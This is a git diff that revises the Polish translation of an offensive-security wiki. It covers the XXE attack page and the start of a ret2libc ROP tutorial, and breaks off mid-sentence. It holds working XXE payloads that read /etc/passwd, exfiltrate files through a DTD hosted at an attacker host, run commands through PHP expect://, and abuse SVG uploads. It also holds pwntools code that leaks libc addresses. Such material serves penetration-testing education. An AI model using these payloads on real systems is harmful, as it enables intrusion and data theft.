- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -35,7 +35,7 @@ W tym ataku zamierzam przetestować, czy prosta deklaracja nowej ENCI działa.
Spróbujmy odczytać `/etc/passwd` na różne sposoby. W przypadku Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" również zadziała.
W tym pierwszym przypadku zauważ, że SYSTEM "_**file:///**etc/passwd_" również zadziała.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -65,7 +65,7 @@ W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako AN
### Lista katalogów
W aplikacjach opartych na **Java** może być możliwe **wypisanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):
W aplikacjach opartych na **Java** może być możliwe **wylistowanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -91,9 +91,9 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u
```
### "Blind" SSRF - Exfiltracja danych poza pasmem
**W tej okazji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu exfiltracji danych:
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych:
### Przykład złośliwego DTD:
@ -121,16 +121,16 @@ Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwycza
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ten ładunek definiuje zewnętrzny byt parametru XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku `/etc/hostname` na serwer atakującego.
Ten ładunek definiuje zewnętrzny parametr XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku `/etc/hostname` na serwer atakującego.
### Błąd oparty (Zewnętrzny DTD)
**W tym przypadku sprawimy, że serwer załaduje złośliwy DTD, który pokaże zawartość pliku w komunikacie o błędzie (to jest ważne tylko, jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
**W tym przypadku sprawimy, że serwer załaduje złośliwy DTD, który wyświetli zawartość pliku w komunikacie o błędzie (to jest ważne tylko, jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:
1. Definiuje się byt parametru XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
2. Definiuje się byt parametru XML o nazwie `eval`, włączający dynamiczną deklarację dla innego bytu parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
1. Definiuje się parametr XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
2. Definiuje się parametr XML o nazwie `eval`, włączający dynamiczną deklarację dla innego parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`.
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
@ -144,13 +144,13 @@ Po wykonaniu, odpowiedź serwera WWW powinna zawierać komunikat o błędzie wy
![](<../images/image (809).png>)
_**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej encji wewnątrz drugiej (\*\***`eval`\***\*), ale jest to zabronione w wewnętrznym DTD. Dlatego nie możesz wymusić błędu bez użycia zewnętrznego DTD (zwykle).**_
_**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej encji wewnątrz drugiego `eval`), ale jest to zabronione w wewnętrznym DTD. Dlatego nie możesz wymusić błędu bez użycia zewnętrznego DTD (zwykle).**_
### **Błąd oparty (system DTD)**
Co zatem z niewidocznymi lukami XXE, gdy **interakcje poza pasmem są zablokowane** (połączenia zewnętrzne nie są dostępne)?
Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy w celu ujawnienia wrażliwych informacji.
Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są zablokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje.
Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób:
```xml
@ -165,10 +165,10 @@ Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/lo
%local_dtd;
]>
```
Wyszczególnione kroki są realizowane przez ten DTD:
Zarysowane kroki są realizowane przez ten DTD:
- Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.
- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`.
- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu parsowania, ujawniając zawartość pliku `/etc/passwd`.
- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu.
**Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`.
@ -188,14 +188,14 @@ Wyszczególnione kroki są realizowane przez ten DTD:
```
![](<../images/image (625).png>)
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Aby uzyskać więcej informacji, sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
Dla uzyskania dodatkowych informacji sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Znajdowanie DTD w systemie
@ -205,7 +205,7 @@ W następującym wspaniałym repozytorium github możesz znaleźć **ścieżki D
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Ponadto, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium, aby **zeskanować** **obraz** i **znaleźć** ścieżkę **DTD** obecnych w systemie. Przeczytaj [Readme repozytorium github](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
Ponadto, jeśli masz **obraz Dockera ofiary**, możesz użyć narzędzia z tego samego repozytorium, aby **zeskanować** **obraz** i **znaleźć** ścieżkę **DTD** obecnych w systemie. Przeczytaj [Readme repozytorium github](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -217,23 +217,23 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE za pomocą parserów Office Open XML
### XXE poprzez parsery Office Open XML
Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, niezbędne będzie przetworzenie przynajmniej jednego pliku XML.
Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (takim jak vim). XML powinien zostać zmodyfikowany, aby zawierał pożądany ładunek XXE, często zaczynający się od żądania HTTP.
Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowanym URL-em dla żądań.
Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowalnym URL-em dla żądań.
Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:
Teraz utworzony plik może zostać przesłany do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
### Jar: protokół
### Protokół: jar
Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar` itp.), obsługując zarówno pliki lokalne, jak i zdalne.
```
@ -251,13 +251,13 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar
4. Odczytywany jest konkretny plik w archiwum, `file.zip`.
5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.
Interesującą techniką przerwania tego procesu na drugim kroku jest utrzymanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
Interesującą techniką, aby przerwać ten proces na drugim kroku, jest utrzymanie połączenia z serwerem otwartego na czas nieokreślony podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!OSTRZEŻENIE]
> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżki** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
### XSS
```xml
@ -310,9 +310,9 @@ Then you can try to crack the hash using hashcat
### XInclude
Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w zapytaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude`, a ścieżka do zamierzonej zewnętrznej encji musi być określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -320,21 +320,21 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
### SVG - Przesyłanie plików
Pliki przesyłane przez użytkowników do określonych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity).
Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na luki XXE (XML External Entity).
Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Inna metoda polega na próbie **wykonania poleceń** za pomocą wrappera PHP "expect":
Inna metoda polega na próbie **wykonywania poleceń** za pomocą wrappera PHP "expect":
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, podkreślając potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:
W takim razie możesz spróbować wysłać następujące żądanie, uzyskując ten sam wynik:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -408,7 +408,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`.
### UTF-7
Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) do transformacji na UTF-7.
Możesz użyć \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) do przekształcenia na UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -452,11 +452,11 @@ Przykład DTD:
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Ekstrakcja zewnętrznego zasobu**
#### **Ekstrakcja zasobów zewnętrznych**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Wykonanie zdalnego kodu
### Zdalne wykonanie kodu
**Jeśli moduł PHP "expect" jest załadowany**
```xml
@ -480,7 +480,7 @@ XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standary
### Analiza Żądania Blind
Wysłano żądanie do serwera z następującą treścią:
Żądanie jest wysyłane do serwera z następującą treścią:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
Jednakże, to żądanie wywołuje błąd wewnętrzny serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
```json
{
"status": 500,
@ -500,9 +500,9 @@ Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspom
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
Pomimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.
Mimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.
Out of Band Data Exfiltration Aby wyekstrahować dane, wysyłane jest zmodyfikowane żądanie:
Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -523,7 +523,7 @@ Error-Based Data Exfiltration Aby przezwyciężyć to ograniczenie, stosuje się
%foo;
%xxe;
```
Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, co wskazuje, że serwer próbuje uzyskać dostęp do określonego pliku:
Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -542,7 +542,7 @@ Poprawny XML w formacie RSS do wykorzystania luki XXE.
### Ping back
Prośba HTTP do serwera atakującego
Prosta prośba HTTP do serwera atakującego
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -671,13 +671,17 @@ XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Je
</void>
</java>
```
## Narzędzia
## XXE + WrapWrap + Lightyear + bypasses
Zobacz ten niesamowity raport [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## Tools
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## Odniesienia
## References
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)

View File

@ -6,7 +6,7 @@
1. **Znajdź** offset **przepełnienia**
2. **Znajdź** gadget `POP_RDI`, `PUTS_PLT` i `MAIN`
3. Użyj poprzednich gadgetów, aby **wyciec adres pamięci** puts lub innej funkcji libc i **znaleźć wersję libc** ([pobierz to](https://libc.blukat.me))
3. Użyj poprzednich gadgetów, aby **wyciec adres pamięci** funkcji puts lub innej funkcji libc i **znaleźć wersję libc** ([pobierz to](https://libc.blukat.me))
4. Z biblioteką, **oblicz ROP i wykorzystaj to**
## Inne samouczki i pliki binarne do ćwiczeń
@ -72,7 +72,7 @@ Innym sposobem byłoby użycie: `pattern create 1000` -- _wykonaj do ret_ -- `pa
## 2- Znajdowanie Gadżetów
Teraz musimy znaleźć gadżety ROP w binarnym pliku. Te gadżety ROP będą przydatne do wywołania `puts`, aby znaleźć używaną **libc**, a później do **uruchomienia ostatecznego exploit**.
Teraz musimy znaleźć gadżety ROP w binarnym pliku. Te gadżety ROP będą przydatne do wywołania `puts`, aby znaleźć używaną **libc**, a później do **uruchomienia ostatecznego exploita**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -91,7 +91,7 @@ W tym kroku nie musisz nic wykonywać, ponieważ wszystko zostanie znalezione pr
## 3- Znalezienie biblioteki libc
Teraz czas, aby znaleźć, która wersja biblioteki **libc** jest używana. Aby to zrobić, zamierzamy **wyciek** **adresu** w pamięci funkcji `puts`, a następnie zamierzamy **wyszukać**, w której **wersji biblioteki** znajduje się wersja puts w tym adresie.
Teraz czas znaleźć, która wersja biblioteki **libc** jest używana. Aby to zrobić, zamierzamy **wyciek** **adresu** w pamięci **funkcji** `puts`, a następnie zamierzamy **wyszukać**, w której **wersji biblioteki** znajduje się wersja puts w tym adresie.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -124,21 +124,21 @@ Aby to zrobić, najważniejsza linia wykonanego kodu to:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
To wyśle kilka bajtów,**nadpisanie** **RIP** będzie możliwe: `OFFSET`.\
To będzie wysyłać kilka bajtów**nadpisanie** **RIP** będzie możliwe: `OFFSET`.\
Następnie ustawi **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez `PUTS_GOT`.\
Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` wewnątrz **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\
Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\
